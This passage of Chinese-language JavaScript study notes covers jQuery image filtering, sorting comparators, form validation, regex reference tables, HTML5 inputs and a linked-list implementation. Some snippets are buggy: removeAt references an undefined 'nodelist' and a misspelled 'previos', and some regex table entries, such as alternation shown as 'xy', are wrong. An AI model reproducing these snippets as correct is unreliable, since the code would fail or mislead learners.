.addClass('active') .siblings() .removeClass('active'); // 移除兄弟元件的active $imgs.show(); // 顯示全部影像 } }).appendTo($buttons); // 加入至按鈕組 $.each(tagged, function(tagName) { // 巡訪每個標籤名稱 $('<button/>', { text: tagName + ' (' + tagged[tagName].length + ')', click: function() { $(this) .addClass('active') .siblings() .removeClass('active'); $imgs .hide() // 先全部隱藏 .filter(tagged[tagName]) //找出標籤圖片 .show(); } }).appendTo($buttons); }); }()); ``` #### 文字搜尋 * 設定影像ALT文字 ```htmlembedded= <div id="buttons"></div> <div id="gallery"> <img src="img/p1.jpg" data-tags="Animators, Illustrators" alt="Rabbit" /> <img src="img/p2.jpg" data-tags="Photographers, Filmmakers" alt="Sea" /> <img src="img/p3.jpg" data-tags="Photographers, Filmmakers" alt="Deer" /> <img src="img/p4.jpg" data-tags="Designers" alt="New York Street Map" /> <img src="img/p5.jpg" data-tags="Photographers, Filmmakers" alt="Trumpet Player" /> <img src="img/p6.jpg" data-tags="Designers, Illustrators" alt="Typographic Study" /> <img src="img/p7.jpg" data-tags="Photographers" alt="Bicycle Japan" /> <img src="img/p8.jpg" data-tags="Designers" alt="Aqua Logo" /> <img src="img/p9.jpg" data-tags="Animators, Illustrators" alt="Ghost" /> </div> ``` * 搜尋文字篩選 ```javascript= (function() { var $imgs = $('#gallery img'); var $search = $('#filter-search'); var cache = []; $imgs.each(function() { cache.push({ // 將圖片物件加入陣列中 element: this, text: this.alt.trim().toLowerCase() }); }); function filter() { var query = this.value.trim().toLowerCase(); // 取得查詢文字 cache.forEach(function(img) { var index = 0; // 索引值 if (query) { index = img.text.indexOf(query); } img.element.style.display = index === -1 ? 'none' : ''; // 顯示 / 隱藏 }); } if ('oninput' in $search[0]) { // 檢查瀏覽器可支援input事件 IE9+ $search.on('input', filter); // 使用input呼叫filter } else { $search.on('keyup', filter); // 使用input呼叫filter } }()); ``` ### 排序 .sort() 方法 #### 一般排序 ```javascript= var names = ['Alice', 'Ann', 'Andrew', 'Abe']; names.sort(); // ['Abe', 'Alice', 'Andrew', 'Ann'] var prices = [1, 2, 125, 19, 14, 156]; prices.sort(); // [1, 125, 14, 156, 19, 2] ``` #### 資料比較函式 更改sort排序規則 | a-b值 | 說明 | | -------- | -------- | | <0 | a資料值需排在b資料值之前 | | 0 | a資料值與b資料值相同順序 | | >0 | a資料值需排在b資料值之後 | * 陣列排序 ```javascript= var price = [1, 2, 125, 2, 19, 14]; price.sort(function(a, b){ return a - b; // a-b遞增(升冪)、b-a遞減(降冪)、0.5-Math.random()亂數 }); ``` * 日期資料排序 ```javascript= var holidays = [ '2014-12-25', '2014-01-01', '2014-07-04', '2014-11-28' ]; holidays.sort(function(a, b){ var dateA = new Date(a); var dateB = new Date(b); return dateA - dateB; // 遞增 // [ // '2014-01-01', // '2014-07-04', // '2014-11-28', // '2014-12-25' // ] }); ``` * 表格資料排序 ```htmlembedded= <table class="sortable"> <thead> <tr> <th data-sort="name">Genre</th> <th data-sort="name">Title</th> <th data-sort="duration">Duration</th> <th data-sort="date">Date</th> </tr> </thead> <tbody> <tr> <td>Animation</td> <td>Wildfood</td> <td>3:47</td> <td>2014-07-16</td> </tr> <tr> <td>Film</td> <td>The Deer</td> <td>6:24</td> <td>2014-02-28</td> </tr> <tr> <td>Animation</td> <td>The Ghost</td> <td>11:40</td> <td>2012-04-10</td> </tr> <tr> <td>Film</td> <td>Animals</td> <td>6:40</td> <td>2005-12-21</td> </tr> <tr> <td>Animation</td> <td>Wagons</td> <td>21:40</td> <td>2007-04-12</td> </tr> </tbody> </table> ``` ```javascript= // 資料比較函式 var compare = { name: function(a, b) { // name方法 a = a.replace(/^the /i, ''); // 自參數的起始處移除the字串 b = b.replace(/^the /i, ''); // 自參數的起始處移除the字串 if (a < b) { return -1; } else { return a > b ? 1 : 0; } }, duration: function(a, b) { // duration方法 a = a.split(':'); // 以冒號將資料分離 b = b.split(':'); // 以冒號將資料分離 a = Number(a[0]) * 60 + Number(a[1]); // 將時間轉換為秒 b = Number(b[0]) * 60 + Number(b[1]); // 將時間轉換為秒 return a - b; }, date: function(a, b) { // date方法 a = new Date(a); b = new Date(b); return a - b; } }; // 表格資料排序 $('.sortable').each(function() { var $table = $(this); var $tbody = $table.find('tbody'); // 表格的內容 var $controls = $table.find('th'); // 表格的標題 var rows = $tbody.find('tr').toArray(); // 所有資料列內容的陣列 $controls.on('click', function() { // 使用者點標題時 var $header = $(this); var order = $header.data('sort'); // 取得data-sort值,排序方法 var column; // 如果該資料項目已有下方兩種屬性值,則以相反方式顯示內容(切換遞增遞減) if ($header.is('.ascending') || $header.is('.descending')) { $header.toggleClass('ascending descending'); // 調整至相反屬性值 $tbody.append(rows.reverse()); // 反轉陣列內容 } else { $header.addClass('ascending'); // 設定遞增屬性值 $header.siblings().removeClass('ascending descending'); // 移除其他標題的屬性值 if (compare.hasOwnProperty(order)) { // 若compare物件具備方法 column = $controls.index(this); // 取得資料行索引 rows.sort(function(a, b) { a = $(a).find('td').eq(column).text(); // 取得a資料列中該資料行的內容值 b = $(b).find('td').eq(column).text(); // 取得b資料列中該資料行的內容值 return compare[order](a, b); // 把排序方法和兩資料值給予資料比較函式 }); $tbody.append(rows); } } }); }); ``` ## 表單強化、驗證 ### 輔助函式(helper function)utilities.js > 解決跨瀏覽器與向下相容問題 ```javascript= // 輔助函式 - 事件監聽器 方法 function addEvent (el, event, callback) { if ('addEventListener' in el) { // 如果事件監聽器可運行 el.addEventListener(event, callback, false); // 使用它 } else { el['e' + event + callback] = callback; // 將回呼函式加入至el元件 el[event + callback] = function () { // 加入第二種方法 el['e' + event + callback](window.event); // 使用它呼叫prev函式 }; el.attachEvent('on' + event, el[event + callback]); } } // 輔助函式 - 移除事件監聽器 方法 function removeEvent(el, event, callback) { if ('removeEventListener' in el) { el.removeEventListener(event, callback, false); } else { el.detachEvent('on' + event, el[event + callback]); el[event + callback] = null; el['e' + event + callback] = null; } } ``` ### 範例 #### 送出表單 ```htmlembedded= <form id="login" action="/login/" method="post"> <div class="one-third column"> <img src="img/logo.png" alt="logo" id="logo" /> </div> <div class="two-thirds column" id="main"> <fieldset> <legend>登入</legend> <label for="username">帳號:</label> <input type="text" id="username" name="username" /> <label for="pwd">密碼:</label> <input type="password" id="pwd" name="pwd" /> <input type="submit" value="Login" /> </fieldset> </div> </form> ``` ```javascript= (function(){ var form = document.getElementById('login'); addEvent(form, 'submit', function(e) { // 當使用者送出表單 e.preventDefault(); var elements = this.elements; var username = elements.username.value; var msg = 'Welcome ' + username; document.getElementById('main').textContent = msg; }); }()); ``` #### 顯示密碼 * 點顯示密碼,則將輸入的密碼變成明碼 ```htmlembedded= <fieldset> <legend>登入</legend> <label for="username">帳號:</label> <input type="text" id="username" name="username" /> <label for="pwd">密碼:</label> <input type="password" id="pwd" name="pwd" /><br> <input type="checkbox" id="showPwd"> <label for="showPwd">顯示密碼</label> <input type="submit" value="Login" /> </fieldset> ``` ```javascript= (function() { var pwd = document.getElementById('pwd'); var chk = document.getElementById('showPwd'); // 多選核取框 addEvent(chk, 'change', function(e) { var target = e.target || e.srcElement; try { if (target.checked) { // 如果有被選取 pwd.type = 'text'; } else { pwd.type = 'password'; } } catch(error) { alert('無法切換類型'); } }); }()); ``` #### 使送出按鈕無效 * 沒輸入內容時無法點送出 * 送出後不可再點送出 ```htmlembedded= <label for="pwd">設定新密碼:</label> <input type="password" id="pwd" /> <input type="submit" id="submit" value="送出" /> ``` ```javascript= (function(){ var form = document.getElementById('newPwd'); var password = document.getElementById('pwd'); var submit = document.getElementById('submit'); var submitted = false; // 表單是否已被送出 submit.disabled = true; // 使表單送出按鈕無效 submit.className = 'disabled'; // 變更表單送出鈕類別樣式 console.log(submit.className); // 輸入密碼時 檢測表單送出按鈕是否啟用 addEvent(password, 'input', function(e) { var target = e.target || e.srcElement; submit.disabled = submitted || !target.value; submit.className = (submitted || !target.value) ? 'disabled' : 'enabled'; // 如果表單已經被送出或是密碼輸入框沒有值,設定CSS樣式為disabled }); // 當表單送出時 使表單失效,讓表單無法再次被發送 addEvent(form, 'submit', function(e) { if (submit.disabled || submitted) { // 如果送出按鈕失效或是已送出 e.preventDefault(); return; // 停止函式 } submit.disabled = true; // 按鈕失效 submitted = true; // 標記已送出 submit.className = 'disabled'; // 更新樣式 e.preventDefault(); alert('Password is ' + password.value); // 顯示已發送資訊 }); }()); ``` #### 全選核取框 * 點all全部打勾 * 當其中有取消打勾,則全選按鈕也取消打勾 ```htmlembedded= <label><input type="checkbox" value="all" id="all">全選</label> <label><input type="checkbox" name="genre" value="animation">Animation</label> <label><input type="checkbox" name="genre" value="docs">Documentary</label> <label><input type="checkbox" name="genre" value="shorts">Shorts</label> ``` ```javascript= (function() { var form = document.getElementById('interests'); var elements = form.elements; // 所有表單元件 var options = elements.genre; // 陣列 多選核取框(除了all) var all = document.getElementById('all'); // 全選按鈕 勾/不勾 function updateAll() { for (var i = 0; i < options.length; i++) { options[i].checked = all.checked; // all選取狀態影響其他全部 } } addEvent(all, 'change', updateAll); // 如果有選項取消勾,就把all也取消勾 function clearAllOption(e) { var target = e.target || e.srcElement; if (!target.checked) { all.checked = false; } } for (var i = 0; i < options.length; i++) { addEvent(options[i], 'change', clearAllOption); } }()); ``` #### 單選按鈕組 * 點other時顯示文字框 * 選其他選項時隱藏並清空文字框 ```htmlembedded= <form id="how-heard" action="/heard" method="post"> <div class="one-third column"> <img src="img/logo.png" alt="logo" id="logo" /> </div> <div class="two-thirds column" id="main"> <fieldset> <legend>你從哪裡得知我們?</legend> <input type="radio" name="heard" value="search" id="search" /> <label for="search">搜尋引擎</label><br> <input type="radio" name="heard" value="print" id="print" /> <label for="print">報章雜誌</label><br> <input type="radio" name="heard" value="other" id="other" /> <label for="other">其他</label><br> <input type="text" name="other-input" id="other-text" /> <input id="submit" type="submit" value="送出" /> </fieldset> </div> </form> ``` ```javascript= (function() { var form, options, other, otherText, hide; form = document.getElementById('how-heard'); options = form.elements.heard; // 所有單選按鈕 other = document.getElementById('other'); // other這個單選按鈕 otherText = document.getElementById('other-text'); // other的文字框 otherText.className = 'hide'; // 預設隱藏 for (var i = [0]; i < options.length; i++) { addEvent(options[i], 'click', radioChanged); } function radioChanged() { hide = other.checked ? '' : 'hide'; // 檢查other是否有被選取 otherText.className = hide; if (hide) { otherText.value = ''; } } }()); ``` #### 下拉式選單 * 第一個下拉選單選完會改變第二個下拉選單的內容(像是縣市、區,兩個相關下拉選單) ```htmlembedded= <label for="equipmentType">類型</label> <select id="equipmentType" name="equipmentType"> <option value="choose">請選擇類型</option> <option value="cameras">相機</option> <option value="projectors">投影機</option> </select><br> <label for="model">型號</label> <select id="model" name="model"> <option>請選擇型號</option> </select> <input id="submit" type="submit" value="送出" /> ``` ```javascript= (function() { var type = document.getElementById('equipmentType'); var model = document.getElementById('model'); // 用物件去存 var cameras = { bolex: 'Bolex Paillard H8', yashica: 'Yashica 30', pathescape: 'Pathescape Super-8 Relax', canon: 'Canon 512' }; var projectors = { kodak: 'Kodak Instamatic M55', bolex: 'Bolex Sound 715', eumig: 'Eumig Mark S', sankyo: 'Sankyo Dualux' }; // 當類型被改變 addEvent(type, 'change', function() { if (this.value === 'choose') { // 如果沒選擇任何選項 model.innerHTML = '<option>請選擇類型</option>'; return; } var models = getModels(this.value); // 獲得對應物件 var options = '<option>請選擇型號</option>'; var key; for (key in models) { options += '<option value="' + key + '">' + models[key] + '</option>'; } model.innerHTML = options; }); // 判斷並回傳物件 function getModels(equipmentType) { if (equipmentType === 'cameras') { return cameras; } else if (equipmentType === 'projectors') { return projectors; } } }()); ``` #### 字元計數器 ```htmlembedded= <label for="bio">自傳 (最多140字)</label> <textarea name="bio" id="bio" rows="5" cols="30"></textarea> <span id="bio-count" class="hide"></span> ``` ```javascript= (function () { var bio = document.getElementById('bio'), bioCount = document.getElementById('bio-count'); // 字元計數文字 addEvent(bio, 'focus', updateCounter); addEvent(bio, 'input', updateCounter); addEvent(bio, 'blur', function () { // 當離開文字框時 if (bio.value.length <= 140) { bioCount.className = 'hide'; // 隱藏計數文字 } }); function updateCounter(e) { var target = e.target || e.srcElement; // 取得目標元件 var count = 140 - target.value.length; // 還能輸入字元數 if (count < 0) { bioCount.className = 'error'; } else if (count <= 15) { bioCount.className = 'warn'; } else { bioCount.className = 'good'; } var charMsg = '<b>' + count + '</b>' + ' characters'; bioCount.innerHTML = charMsg; } }()); ``` ### 正規表示式(正則表示式) > 搜尋字元組成樣式,也可以將符合條件的字元組合,以新的字元內容取代。 | 特定字元 | 說明 | 等效的正規表示式 | | -------- | -------- | -------- | | \d | 數字 | [0-9] | | \D | 非數字 | [^0-9] | | \w | 數字、字母、底線 | [a-zA-Z0-9_] | | \W | 非 \w | [^a-zA-Z0-9_] | | \s | 空白字元 | [ \r\t\n\f] | | \S | 非空白字元 | [^ \r\t\n\f] | | 字元 | 說明 | 範例 | | -------- | -------- | -------- | | \ | 避開特殊字元 | /A\*/ 可用於比對 “A*”,其中 * 是一個特殊字元,為避開其特殊意義,所以必須加上 “\” | | ^ | 比對輸入列的啟始位置 | /^A/ 可比對 “Abcd” 中的 “A”,但不可比對 “aAb” | | $ | 比對輸入列的結束位置 | /A$/ 可比對 “bcdA” 中的 “A”,但不可比對 “aAb” | | * | 比對前一個字元零次或更多次 | /bo*/ 可比對 “Good boook” 中的 “booo”,亦可比對 “Good bk” 中的 “b” | | + | 比對前一個字元一次或更多次,等效於 {1,} | /a+/ 可比對 “caaandy” 中的 “aaa”,但不可比對 “cndy” | | ? | 比對前一個字元零次或一次 | /e?l/ 可比對 “angel” 中的 “el”,也可以比對 “angle” 中的 “l” | | . | 比對任何一個字元(但換行符號不算) | /.n/ 可比對 “nay, an apple is on the tree” 中的 “an” 和 “on”,但不可比對 “nay” | | (x) | 比對 x 並將符合的部分存入一個變數 | /(a*) and (b*)/ 可比對 “aaa and bb” 中的 “aaa” 和 “bb”,並將這兩個比對得到的字串設定至變數 RegExp.$1 和 RegExp.$2。 | | xy | 比對 x 或 y | /a*b*/g 可比對 “aaa and bb” 中的 “aaa” 和 “bb” | | {n} | 比對前一個字元 n 次,n 為一個正整數 | /a{3}/ 可比對 “lllaaalaa” 其中的 “aaa”,但不可比對 “aa” | | {n,} | 比對前一個字元至少 n 次,n 為一個正整數 | /a{3,}/ 可比對 “aa aaa aaaa” 其中的 “aaa” 及 “aaaa”,但不可比對 “aa” | | {n,m} | 比對前一個字元至少 n 次,至多 m 次,m、n 均為正整數 | /a{3,4}/ 可比對 “aa aaa aaaa aaaaa” 其中的 “aaa” 及 “aaaa”,但不可比對 “aa” 及 “aaaaa” | | [xyz] | 比對中括弧內的任一個字元 | /[ecm]/ 可比對 “welcome” 中的 “e” 或 “c” 或 “m” | | [^xyz] | 比對不在中括弧內出現的任一個字元 | /[^ecm]/ 可比對 “welcome” 中的 “w”、”l”、”o”,可見出其與 [xyz] 功能相反。(同時請注意 /^/ 與 [^] 之間功能的不同。) | | [\b] | 比對退位字元(Backspace character) | 可以比對一個 backspace ,也請注意 [\b] 與 \b 之間的差別 | | \b | 比對英文字的邊界,例如空格 | 例如 /\bn\w/ 可以比對 “noonday” 中的 ‘no’ ; /\wy\b/ 可比對 “possibly yesterday.” 中的 ‘ly’ | | \B | 比對非「英文字的邊界」 | 例如, /\w\Bn/ 可以比對 “noonday” 中的 ‘on’ , 另外 /y\B\w/ 可以比對 “possibly yesterday.” 中的 ‘ye’ | | \cX | 比對控制字元(Control character),其中 X 是一個控制字元 | /\cM/ 可以比對 一個字串中的 control-M | | \d | 比對任一個數字,等效於 [0-9] | /[\d]/ 可比對 由 “0” 至 “9” 的任一數字 但其餘如字母等就不可比對 | | \D | 比對任一個非數字,等效於 [^0-9] | /[\D]/ 可比對 “w” “a”… 但不可比對如 “7” “1” 等數字 | | \f | 比對 form-feed | 若是在文字中有發生 “換頁” 的行為 則可以比對成功 | | \n | 比對換行符號 | 若是在文字中有發生 “換行” 的行為 則可以比對成功 | | \r | 比對 carriage return | | | \s | 比對任一個空白字元(White space character),等效於 [ \f\n\r\t\v] | /\s\w*/ 可比對 “A b” 中的 “b” | | \S | 比對任一個非空白字元,等效於 [^ \f\n\r\t\v] | /\S/\w* 可比對 “A b” 中的 “A” | | \t | 比對定位字元(Tab) | | | \v | 比對垂直定位字元(Vertical tab) | | | \w | 比對數字字母字元(Alphanumerical characters)或底線字母(”_”),等效於 [A-Za-z0-9_] | /\w/ 可比對 “.A _!9” 中的 “A”、”_”、”9″。 | | \W | 比對非「數字字母字元或底線字母」,等效於 [^A-Za-z0-9_] | /\W/ 可比對 “.A _!9” 中的 “.”、” “、”!”,可見其功能與 /\w/ 恰好相反。 | | \ooctal | 比對八進位,其中octal是八進位數目 | /\oocetal123/ 可比對 與 八進位的ASCII中 “123” 所相對應的字元值。 | | \xhex | 比對十六進位,其中hex是十六進位數目 | /\xhex38/ 可比對 與 16進位的ASCII中 “38” 所相對應的字元。 | | 正規表示式 | 說明 | | -------- | -------- | | /a?/ | 零或一個 a(若要比對? 字元,請使用 \?) | | /a+/ | 一或多個 a(若要比對+ 字元,請使用 \+) | | /a*/ | 零或多個 a(若要比對* 字元,請使用 \*) | | /a{4}/ | 四個 a | | /a{5,10}/ | 五至十個 a | | /a{5,}/ | 至少五個 a | | /a{,3}/ | 至多三個 a | | /a.{5}b/ | a 和 b中間夾五個(非換行)字元 | | /a/ | 含字母 “a” 的字串,例如 “ab”, “bac”, “cba” | | /a./ | 含字母 “a” 以及其後任一個字元的字串,例如 “ab”, “bac”(若要比對.,請使用 \.) | | /^xy/ | 以 “xy” 開始的字串,例如 “xyz”, “xyab”(若要比對 ^,請使用 \^) | | /xy$/ | 以 “xy” 結尾的字串,例如 “axy”, “abxy”以 “xy” 結尾的字串,例如 “axy”, “abxy” (若要比對 $,請使用 \$) | | [13579] | 包含 “1” 或 “3” 或 “5” 或 “7” 或 “9” 的字串,例如:”a3b”, “1xy” | | [0-9] | 含數字之字串 | | [a-z0-9] | 含數字或小寫字母之字串 | | [a-zA-Z0-9] | 含數字或字母之字串 | | b[aeiou]t | “bat”, “bet”, “bit”, “bot”, “but” | | [^0-9] | 不含數字之字串(若要比對 ^,請使用 \^) | | [^aeiouAEIOU] | 不含母音之字串(若要比對 ^,請使用 \^) | | [^\^] | 不含 “^” 之字串,例如 “xyz”, “abc” | #### 常用的正規表示式 ``` 數值 /^\d+$/ 一行文字以空白字元起始 ^[ \s]+ 信箱 /[^@]+@[^@]+/ 十六進位顏色值 /^#[a-fA-F0-9]{6}$/ !"#$%&\'()*+,-./@:;<=>[\\]^_`{|}~ 日期 yy-mm-dd /^(\d{2}\/\d{2}\/\d{4})|(\d{4}-\d{2}-\d{2})$/ ``` ### HTML5 元件與屬性 #### 元件 * 搜尋 ```htmlembedded= <input type="search" placeholder="Search..." autofocus> ``` * Email、URL、phone ```htmlembedded= <input type="email"> <input type="url"> <input type="telephone"> ``` * 數字(小輸入框、增減箭頭) ```htmlembedded= <input type="number" min="0" max="10" step="2" value="6"> ``` * 範圍輸入框(滑軌) ```htmlembedded= <input type="range" min="0" max="10" step="2" value="6"> ``` * 色彩選擇器 ```htmlembedded= <input type="color"> ``` * 日期選擇器 ```htmlembedded= <input type="date"> <input type="month"> <input type="week"> <input type="time"> <input type="datetime"> ``` #### 屬性 | 屬性 | 說明 | | -------- | -------- | | autofocus | 當頁面載入時,聚焦此元件 | | placeholder | 輸入提示訊息 | | required | 檢查欄位是否擁有值(必填) | | min | 最小允許值 | | max | 最大允許值 | | step | 遞增遞減的數值區間 | | value | 元件載入畫面時的預設數值 | | autocomplete | 顯示輸入紀錄清單(信用卡號碼/敏感資訊會隱藏),預設為啟用 | | pattern | 允許指定一個正規表示式驗證輸入值 | | novalidate | 用於form元件,關閉HTML5內鍵的表單驗證功能 | #### placeholder向下相容 * 如果瀏覽器不相容placeholder,就自己刻一個 ```htmlembedded= <label for="username">帳號</label> <input type="text" id="username" name="username" placeholder="username" /> <label for="email">信箱</label> <input type="email" id="email" name="email" placeholder="you@yourdomain.com" /> <label for="dob">生日</label> <input type="text" id="dob" name="dob" placeholder="yyyy-mm-dd" /> <input type="submit" value="註冊" /> ``` ```javascript= (function() { // 檢查是否支援placeholder,如果支援就不需執行下方指令 if ('placeholder' in document.createElement('input')) { return; } var length = document.forms.length; // 取得表單數量 for (var i = 0; i < length; i++ ) { // 巡訪每個表單 showPlaceholder(document.forms[i].elements); } function showPlaceholder(elements) { for (var i = 0, l = elements.length; i < l; i++) { // 巡訪每個元件 var el = elements[i]; if (!el.placeholder) { // 如果沒有placeholder屬性 continue; // 巡訪下個元件 } // 否則 el.style.color = '#666666'; el.value = el.placeholder; addEvent(el, 'focus', function () { // 當元件取得焦點 if (this.value === this.placeholder) { this.value = ''; this.style.color = '#000000'; } }); addEvent(el, 'blur', function () { // 當元件失去焦點 if (this.value === '') { this.value = this.placeholder; this.style.color = '#666666'; } }); } } }()); ``` #### 綜合應用 - 表單驗證(JS驗證,非HTML5驗證) * 使用JS來自訂驗證,確保所有瀏覽器都一致 ```htmlembedded= <form method="post" action="/register" name="register"> <div class="one-third column"> <h2>設定</h2> <div class="name"> <label for="name" class="required">姓名</label> <input type="text" placeholder="Enter your name" name="name" id="name" required title="Please enter your name"> </div> <div class="email"> <label for="email" class="required">信箱</label> <input type="email" placeholder="you@example.com" name="email" id="email" required> </div> <div class="password"> <label for="password" class="required">密碼</label> <input type="password" name="password" id="password" required> </div> <div class="password"> <label for="conf-password" class="required">確認密碼</label> <input type="password" name="conf-password" id="conf-password" required> </div> </div> <div class="one-third column"> <h2>個人資料</h2> <div class="birthday"> <label for="birthday" class="required">生日</label> <input type="date" name="birthday" id="birthday" placeholder="yyyy-mm-dd" required> <div id="consent-container" class="hide"> <label for="parents-consent">家長允許</label> <input type="checkbox" name="parents-consent" id="parents-consent"> </div> </div> <div class="bio"> <label for="bio">自我介紹(最多140字元):</label> <textarea name="bio" id="bio" rows="5" cols="30"></textarea> <span id="bio-count" class="hide">140</span> </div> <div class="register"><input type="submit" value="註冊"></div> </div> </form> ``` ```javascript= (function () { document.forms.register.noValidate = true; // 關閉HTML5的表單驗證 // 當表單被送出 $('form').on('submit', function (e) { var elements = this.elements; var valid = {}; // 自訂驗證物件 var isValid; // 檢測表單控制元件 var isFormValid; // 檢測整個表單 // 執行通用驗證(2個) for (var i = 0, l = elements.length; i < l; i++) { isValid = validateRequired(elements[i]) && validateTypes(elements[i]); if (!isValid) { // 如果沒通過這兩種驗證 showErrorMessage(elements[i]); } else { removeErrorMessage(elements[i]); } valid[elements[i].id] = isValid; // 將檢查結果放入valid } // 執行自訂驗證(3個) if (!validateBio()) { showErrorMessage(document.getElementById('bio')); valid.bio = false; } else { removeErrorMessage(document.getElementById('bio')); } if (!validatePassword()) { showErrorMessage(document.getElementById('password')); valid.password = false; } else { removeErrorMessage(document.getElementById('password')); } if (!validateParentsConsent()) { showErrorMessage(document.getElementById('parents-consent')); valid.parentsConsent = false; } else { removeErrorMessage(document.getElementById('parents-consent')); } // 是否通過全部檢測,可否送出表單 for (var field in valid) { if (!valid[field]) { isFormValid = false; break; } isFormValid = true; } if (!isFormValid) { // 如果未通過,不讓表單送出 e.preventDefault(); } }); // 通用驗證(1/2) - 必填元件 function validateRequired(el) { if (isRequired(el)) { // 此元件是否設定為必填 var valid = !isEmpty(el); // 元件是否不是空值 if (!valid) { // 如果是空值 setErrorMessage(el, '此欄必填'); } return valid; } return true; } function isRequired(el) { // 檢查required屬性(必填)是否存在 return ((typeof el.required === 'boolean') && el.required) || // 新版瀏覽器寫法 HTML5 (typeof el.required === 'string'); // 舊版瀏覽器寫法 } function isEmpty(el) { //檢查是否有內容值 return !el.value || el.value === el.placeholder; // 前面新瀏覽器,後面舊瀏覽器 } // 通用驗證(2/2) - 不同類型的輸入框 function validateTypes(el) { if (!el.value) return true; // 如果元件沒有值,直接回傳通過 var type = $(el).data('type') || el.getAttribute('type'); // 自data()擷取值 或 擷取輸入框類型 if (typeof validateType[type] === 'function') { // 類型是否為vaildate物件的方法 return validateType[type](el); // 如果是,進一步檢測內容是否有效 } else { return true; // 如果不是,一樣回傳通過,因為無法被測試 } } var validateType = { email: function (el) { var valid = /[^@]+@[^@]+/.test(el.value); if (!valid) { setErrorMessage(el, '請輸入有效的信箱'); } return valid; }, number: function (el) { var valid = /^\d+$/.test(el.value); if (!valid) { setErrorMessage(el, '請輸入有效的數字'); } return valid; }, date: function (el) { var valid = /^(\d{2}\/\d{2}\/\d{4})|(\d{4}-\d{2}-\d{2})$/.test(el.value); if (!valid) { setErrorMessage(el, '請輸入有效的日期'); } return valid; } }; // 自訂驗證(1/3) - 自介字數驗證 function validateBio() { var bio = document.getElementById('bio'); var valid = bio.value.length <= 140; if (!valid) { setErrorMessage(bio, '請確保不要超過140字元'); } return valid; } // 自訂驗證(2/3) - 密碼驗證 function validatePassword() { var password = document.getElementById('password'); var valid = password.value.length >= 8; if (!valid) { setErrorMessage(password, '請確保密碼在8碼以上'); } return valid; } // 自訂驗證(3/3) - 家長同意驗證 function validateParentsConsent() { var parentsConsent = document.getElementById('parents-consent'); var consentContainer = document.getElementById('consent-container'); var valid = true; if (consentContainer.className.indexOf('hide') === -1) { // 如果多選框顯示於頁面 valid = parentsConsent.checked; if (!valid) { setErrorMessage(parentsConsent, '您必須要有家長同意'); } } return valid; } // 錯誤訊息 function setErrorMessage(el, message) { $(el).data('errorMessage', message); // 將錯誤訊息存在目標元件中 } function getErrorMessage(el) { return $(el).data('errorMessage') || el.title; // 取得錯誤訊息內容 } function showErrorMessage(el) { var $el = $(el); var errorContainer = $el.siblings('.error.message'); // 是否已有錯誤發生 if (!errorContainer.length) { // 如果沒有發現錯誤 errorContainer = $('<span class="error message"></span>').insertAfter($el); // 建立一個span存錯誤,並把span放在元件後方 } errorContainer.text(getErrorMessage(el)); // 放入錯誤訊息內容 } function removeErrorMessage(el) { var errorContainer = $(el).siblings('.error.message'); errorContainer.remove(); } }()); ``` #### 綜合應用 - 年齡確認 ```javascript= (function () { var $birth = $('#birthday'); // 生日輸入框 var $parentsConsent = $('#parents-consent'); // 父母同意核取框 var $consentContainer = $('#consent-container'); // 核取框容器 // 使用jQ UI 建立日期選擇器 $birth.prop('type', 'text').data('type', 'date').datepicker({ dateFormat: 'yy-mm-dd' }); // 當生日輸入框失去焦點 $birth.on('blur change', checkDate); function checkDate() { var dob = this.value.split('-'); // 將日期字串轉換為陣列 toggleParentsConsent(new Date(dob[0], dob[1] - 1, dob[2])); // 轉成date格式 } function toggleParentsConsent(date) { if (isNaN(date)) return; // 如果日期無效,停止 var now = new Date(); if ((now - date) < (1000 * 60 * 60 * 24 * 365 * 13)) { // 如果年紀小於13歲 $consentContainer.removeClass('hide'); // 顯示家長同意核取框 $parentsConsent.focus(); // 聚焦核取框 } else { $consentContainer.addClass('hide'); $parentsConsent.prop('checked', false); } } }()); ``` #### 綜合應用 - 再次輸入密碼檢測 ```javascript= (function () { var password = document.getElementById('password'); // 密碼輸入框 var passwordConfirm = document.getElementById('conf-password'); // 再次密碼輸入框 function setErrorHighlighter(e) { var target = e.target || e.srcElement; if (target.value.length < 8) { target.className = 'fail'; // 設定類別屬性為fail } else { target.className = 'pass'; // 設定類別屬性為pass } } function removeErrorHighlighter(e) { var target = e.target || e.srcElement; if (target.className === 'fail') { // 如果類別為fail 則清除類別 target.className = ''; } } function passwordsMatch(e) { var target = e.target || e.srcElement; if ((password.value === target.value) && target.value.length >= 8) { // 元件值符合且密碼大於等於8 target.className = 'pass'; } else { target.className = 'fail'; } } addEvent(password, 'focus', removeErrorHighlighter); addEvent(password, 'blur', setErrorHighlighter); addEvent(passwordConfirm, 'focus', removeErrorHighlighter); addEvent(passwordConfirm, 'blur', passwordsMatch); }()); ``` ## JS的資料結構 ### 資料結構 - [鏈結串列(Linked List)](https://ithelp.ithome.com.tw/articles/10216257) * JS沒內建Linked List,如需使用須自行刻一個 ```javascript= class LinkedListNode{ constructor(ele){ this.next = null; this.ele = ele } } class LinkedList { constructor(){ this.head = null this.length = 0 } // method here // .... } ``` #### append(ele): 從尾部增加一個 node ```javascript= append(ele){ let newNode = new LinkedListNode(ele); // 判斷 nodelist 是不是空的 if(this.head == null){ // 1. 是空的 this.head = newNode }else{ // 2. 不是空的 // loop nodelist 到最後一個然後加進去 // 最後一個就是 current.next == null let current = this.head; while(current.next != null){ current = current.next } current.next = newNode } this.length ++; } ``` #### insert(position, ele): 從特定位置增加一個 node ```javascript= insert (position, ele){ // 判斷極限值 if(position > -1 && position <= this.length){ let newNode = new LinkedListNode(ele) let current = this.head; // 1.1 判斷是否為 head if(position == 0){ newNode.next = current; this.head = newNode; }else{ // 1.2 loop current = previous 找到 position = index let previous; let index = 0; while(index != position){ index ++; previous = current; current = current.next; } newNode.next = current; previous.next = newNode; } this.length ++; return true; }else{ return false; } } ``` #### removeAt(position): 刪除特定位置的 node ```javascript= removeAt (position){ // 判斷極限值 if(position > -1 && position < nodelist.length){ // 1. 繼續下去 // 判斷是第一個(head)被刪掉還是其他 let current = this.head if(position == 0){ // 1.1 this.head = current.next }else{ // 1.2 let index = 0; let previous; // loop 到 position 然後 while(position != index){ index ++; previous = current; current = current.next; } previos.next = current.next } this.length --; return current.ele; }else{ // 2. sorry 不能執行這個方法喔 return false } } ``` #### remove (ele): 移除某個 node ```javascript= remove (ele){ // 結合這上面寫好的方法 let index = this.indexOf(ele) return this.removeAt(index) } ``` #### indexOf(ele): 回傳此 node 是否存在,不存在回傳 -1 ```javascript= indexOf (ele){ // 慢慢找,找到回傳 index let index = -1; let current = this.head while(current){ index ++; if(current.ele == ele){ return index; } current = current.next } return -1; } ``` #### toString(): 把 List 